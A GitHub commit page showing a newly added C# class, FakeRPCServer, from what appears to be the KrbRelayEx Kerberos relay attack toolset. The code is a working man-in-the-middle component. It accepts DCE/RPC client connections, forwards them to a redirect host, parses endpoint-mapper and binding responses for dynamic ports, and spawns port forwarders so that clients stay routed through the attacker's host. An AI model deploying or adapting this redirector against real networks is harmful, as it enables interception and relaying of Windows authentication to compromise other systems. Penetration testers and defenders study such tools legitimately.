Skip to content

Commit 0da4bcb

Browse files
author
Andrea Pierini
committed
v 1.2
1 parent f29def0 commit 0da4bcb

14 files changed

Lines changed: 804 additions & 41 deletions

File tree

Lines changed: 365 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,365 @@
1+
using KrbRelay;
2+
using KrbRelay.Clients;
3+
using KrbRelay.Clients.Attacks.Ldap;
4+
using SMBLibrary;
5+
using SMBLibrary.Client;
6+
using System;
7+
using System.Collections.Concurrent;
8+
using System.Linq;
9+
using System.Net;
10+
using System.Net.Sockets;
11+
using System.Text;
12+
using System.Threading.Tasks;
13+
14+
15+
using KrbRelayEx.Misc;
16+
using System.ComponentModel;
17+
using System.Text.RegularExpressions;
18+
/// <summary>
19+
20+
21+
22+
public class FakeRPCServer
23+
{
24+
private Socket _listenerSocket;
25+
private IPEndPoint _targetEndpoint;
26+
private ConcurrentDictionary<string, State> _activeConnections = new ConcurrentDictionary<string, State>();
27+
28+
private int _listenPort;
29+
private string _targetHost;
30+
private int _targetPort;
31+
private bool _isRunning = false;
32+
public bool ForwardOnly = false;
33+
public string ServerType = "";
34+
public byte[] CallID = new byte[] { 0x00, 0x00, 0x00, 0x00 };
35+
public State state;
36+
public bool alreadystarted = false;
37+
public const int PACKET_TYPE_REQUEST = 0;
38+
public const int PACKET_TYPE_RESPONSE = 2;
39+
public const int OPNUM_REMOTE_CREATE_INSTANCE = 4;
40+
public int ISystemActivatorOffset = 0;
41+
public int IOXidResolverOffset = 0;
42+
public byte[] AssocGroup = new byte[4];
43+
44+
45+
public FakeRPCServer(int listenPort, string targetHost, int targetPort)
46+
{
47+
/*_listenerSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
48+
_listenerSocket.Bind(new IPEndPoint(IPAddress.Any, listenPort));
49+
_listenerSocket.Listen(100); // Allow up to 100 pending connections
50+
_targetEndpoint = new IPEndPoint(Dns.GetHostEntry(targetHost).AddressList[0], targetPort);*/
51+
_listenPort = listenPort;
52+
_targetHost = targetHost;
53+
_targetPort = targetPort;
54+
55+
}
56+
public FakeRPCServer(int listenPort, string targetHost, int targetPort, string stype)
57+
{
58+
/*_listenerSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
59+
_listenerSocket.Bind(new IPEndPoint(IPAddress.Any, listenPort));
60+
_listenerSocket.Listen(100); // Allow up to 100 pending connections
61+
_targetEndpoint = new IPEndPoint(Dns.GetHostEntry(targetHost).AddressList[0], targetPort);*/
62+
_listenPort = listenPort;
63+
_targetHost = targetHost;
64+
_targetPort = targetPort;
65+
ServerType = stype;
66+
67+
}
68+
public void Start(bool fwd)
69+
{
70+
Console.WriteLine("[*] Starting FakeRPCServer on port:{0}", _listenPort);
71+
_listenerSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
72+
_listenerSocket.Bind(new IPEndPoint(IPAddress.Any, _listenPort));
73+
_listenerSocket.Listen(100); // Allow up to 100 pending connections
74+
IPAddress.TryParse(Program.RedirectHost, out IPAddress ipAddress);
75+
_targetEndpoint = new IPEndPoint(ipAddress, _targetPort);
76+
_isRunning = true;
77+
_listenerSocket.BeginAccept(OnClientConnect, null);
78+
79+
ForwardOnly = fwd;
80+
81+
}
82+
public void Stop()
83+
{
84+
if (_isRunning)
85+
{
86+
// Console.WriteLine("[*] Stopping FakeRPCServer on port:{0}", _listenPort);
87+
_isRunning = false;
88+
89+
// Stop listening for new connections
90+
_listenerSocket.Close();
91+
92+
// Close all active connections
93+
foreach (var kvp in _activeConnections)
94+
{
95+
CloseConnection(kvp.Value);
96+
}
97+
98+
_activeConnections.Clear();
99+
100+
//Console.WriteLine("[*] FakeRPCServer {0} stopped.", _listenPort);
101+
}
102+
}
103+
104+
public void ListConnectedClients()
105+
{
106+
Console.WriteLine("\n[*] Connected Clients on port:{0}", _listenPort);
107+
foreach (var key in _activeConnections.Keys)
108+
{
109+
Console.WriteLine($"- {key}");
110+
}
111+
}
112+
113+
private void OnClientConnect(IAsyncResult ar)
114+
{
115+
try
116+
{
117+
Socket clientSocket = _listenerSocket.EndAccept(ar);
118+
119+
_listenerSocket.BeginAccept(OnClientConnect, null);
120+
// Create a unique key for this connection
121+
string clientKey = $"{clientSocket.RemoteEndPoint}-{Guid.NewGuid()}";
122+
123+
Console.WriteLine($"[*] FakeRPCServer[{_listenPort}]: Client connected [{clientSocket.RemoteEndPoint}]") ;
124+
125+
// Create a new connection to the target server
126+
Socket targetSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
127+
targetSocket.Connect(_targetEndpoint);
128+
129+
// Create state objects for bidirectional forwarding
130+
var clientToTargetState = new State(clientSocket, targetSocket);
131+
var targetToClientState = new State(targetSocket, clientSocket);
132+
133+
// Add the connection to the dictionary
134+
_activeConnections[clientKey] = clientToTargetState;
135+
136+
// Start forwarding data in both directions
137+
clientSocket.BeginReceive(clientToTargetState.Buffer, 0, clientToTargetState.Buffer.Length, SocketFlags.None, OnDataFromClient, clientToTargetState);
138+
targetSocket.BeginReceive(targetToClientState.Buffer, 0, targetToClientState.Buffer.Length, SocketFlags.None, OnDataFromTarget, targetToClientState);
139+
140+
// Continue accepting new connections
141+
142+
}
143+
catch (Exception ex)
144+
{
145+
//Console.WriteLine($"Error accepting client: {ex.Message}");
146+
}
147+
}
148+
private void OnDataFromClient(IAsyncResult ar)
149+
{
150+
state = (State)ar.AsyncState;
151+
byte[] buffer = new byte[4096];
152+
153+
//if (state.isRelayed)
154+
// return;
155+
//try
156+
//{
157+
158+
try
159+
{
160+
int bytesRead = state.SourceSocket.EndReceive(ar);
161+
int l = 0;
162+
163+
if (bytesRead > 0)
164+
{
165+
// Forward data to the target
166+
state.numReads++;
167+
byte[] b = new byte[2];
168+
b[0] = state.Buffer[22];
169+
b[1] = state.Buffer[23];
170+
171+
int Opnum = BitConverter.ToInt16(b);
172+
173+
{
174+
175+
//Console.WriteLine("[*] Type {0} Opnum :{1} CallId {2}", state.Buffer[2], Opnum, CallID[0]);
176+
177+
178+
if (/*Opnum == OPNUM_REMOTE_CREATE_INSTANCE &&*/ state.Buffer[2] == PACKET_TYPE_REQUEST)
179+
{
180+
CallID[0] = state.Buffer[12];
181+
//Console.WriteLine("[*] Onum 4: Type {0} Opnum :{1} CallId {2}", state.Buffer[2], Opnum, CallID[0]);
182+
}
183+
/*
184+
if (state.Buffer[2] == 2 && state.Buffer[12] == CallID[0])
185+
{
186+
187+
string securityBinding = Encoding.Unicode.GetString(state.Buffer).TrimEnd('\0');
188+
189+
//Console.WriteLine("Decoded Binding String: " + securityBinding);
190+
191+
// Step 2: Extract the port using a regular expression
192+
string port = Program.ExtractPortFromBinding(securityBinding);
193+
if (port != null)
194+
{
195+
Console.WriteLine($"[*] Extracted Port2: {port}");
196+
}
197+
else
198+
{
199+
Console.WriteLine("[-] Port not found in the binding string2.");
200+
}
201+
//ForwardOnly = true;
202+
}*/
203+
204+
}
205+
206+
207+
208+
209+
state.TargetSocket.Send(state.Buffer, bytesRead, SocketFlags.None);
210+
211+
// Continue receiving data from the client
212+
213+
214+
// Continue receiving data from the client
215+
state.SourceSocket.BeginReceive(state.Buffer, 0, state.Buffer.Length, SocketFlags.None, OnDataFromClient, state);
216+
//bytesRead = state.SourceSocket.Receive(state.Buffer);
217+
218+
219+
220+
221+
}
222+
}
223+
224+
catch (Exception ex)
225+
{
226+
//Console.WriteLine($"Error1 forwarding data from client: {ex.Message}");
227+
//if (!state.isRelayed)
228+
CloseConnection(state);
229+
}
230+
}
231+
232+
233+
public static string ExtractPortFromBinding(string binding)
234+
{
235+
// Regular expression to capture the port inside square brackets
236+
Match match = Regex.Match(binding, @"\[(\d+)\]");
237+
if (match.Success)
238+
{
239+
return match.Groups[1].Value;
240+
}
241+
return null;
242+
}
243+
244+
private void OnDataFromTarget(IAsyncResult ar)
245+
{
246+
var state = (State)ar.AsyncState;
247+
248+
try
249+
{
250+
int bytesRead = state.SourceSocket.EndReceive(ar);
251+
252+
if (bytesRead > 0)
253+
{
254+
// Forward data to the client
255+
256+
state.numReads++;
257+
byte[] b = new byte[2];
258+
b[0] = state.Buffer[22];
259+
b[1] = state.Buffer[23];
260+
261+
262+
int Opnum = BitConverter.ToInt16(b);
263+
//Console.WriteLine("[*] Type {0} Opnum :{1} CallId {2}", state.Buffer[2], Opnum, CallID[0]);
264+
int epmapoffset = Helpers.PatternAt(state.Buffer, new byte[] { 0x13, 0x00, 0x0D, 0xF7, 0xAF, 0xBE, 0xF6, 0x19, 0x1E, 0xBB, 0x4F, 0x9F, 0x8F, 0xB8, 0x9E, 0x20, 0x18, 0x33, 0x7C, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00 });
265+
266+
if (state.Buffer[2] == PACKET_TYPE_RESPONSE && state.Buffer[12] == CallID[0] && _listenPort == Program.RpcListenerPort)
267+
{
268+
string securityBinding = Encoding.Unicode.GetString(state.Buffer).TrimEnd('\0');
269+
string port = ExtractPortFromBinding(securityBinding);
270+
if (port != null)
271+
{
272+
//Console.WriteLine($"[*] Extracted Port: {port}");
273+
int p = int.Parse(port);
274+
if (!alreadystarted)
275+
{
276+
Console.WriteLine($"[*] FakeRPCServer redirecting client to : {port}");
277+
PortForwarder RPCtcpFwd = new PortForwarder(p, Program.RedirectHost, p);
278+
RPCtcpFwd.StartAsync();
279+
// RPCtcpFwd.Start(true);
280+
//alreadystarted = true;
281+
}
282+
283+
284+
}
285+
else if (epmapoffset > -1)//EPMAP
286+
{
287+
b[0] = state.Buffer[bytesRead - 16];
288+
b[1] = state.Buffer[bytesRead - 15];
289+
int p = (b[0] << 8) | b[1];
290+
291+
292+
if (p > 0)
293+
{
294+
/* PortForwarder RPCtcpFwd = new PortForwarder(p, Program.RedirectHost, p);
295+
RPCtcpFwd.StartAsync();*/
296+
297+
//Console.WriteLine("[-] FakeRPCServer {0} Port Foreader not found in the binding string maybe {1:X}{2:X} {3} {4}", _listenPort, b[0], b[1], p, state.Buffer.Length);
298+
299+
PortForwarder RPCtcpFwd = new PortForwarder(p, Program.RedirectHost, p);
300+
RPCtcpFwd.StartAsync();
301+
302+
303+
304+
}
305+
306+
307+
}
308+
else
309+
{
310+
//Console.WriteLine("[-] Port not found in the binding string.");
311+
}
312+
//CloseConnection(state);
313+
314+
}
315+
state.TargetSocket.Send(state.Buffer, bytesRead, SocketFlags.None);
316+
317+
// Continue receiving data from the target
318+
state.SourceSocket.BeginReceive(state.Buffer, 0, state.Buffer.Length, SocketFlags.None, OnDataFromTarget, state);
319+
}
320+
else
321+
{
322+
// Target server disconnected
323+
CloseConnection(state);
324+
}
325+
}
326+
catch (Exception ex)
327+
{
328+
//Console.WriteLine($"Error forwarding data from target: {ex.Message}");
329+
CloseConnection(state);
330+
}
331+
}
332+
333+
334+
public void CloseConnection(State state)
335+
{
336+
try
337+
{
338+
string clientEndpoint = state.SourceSocket.RemoteEndPoint.ToString();
339+
//Console.WriteLine($"[*] Redirector: Closing connection for {clientEndpoint}");
340+
341+
state.SourceSocket?.Close();
342+
state.TargetSocket?.Close();
343+
344+
// Remove the connection from the dictionary
345+
string keyToRemove = null;
346+
foreach (var kvp in _activeConnections)
347+
{
348+
if (kvp.Value == state)
349+
{
350+
keyToRemove = kvp.Key;
351+
break;
352+
}
353+
}
354+
355+
if (keyToRemove != null)
356+
{
357+
_activeConnections.TryRemove(keyToRemove, out _);
358+
}
359+
}
360+
catch (Exception ex)
361+
{
362+
//Console.WriteLine($"Error closing connection: {ex.Message}");
363+
}
364+
}
365+
}

0 commit comments

Comments
 (0)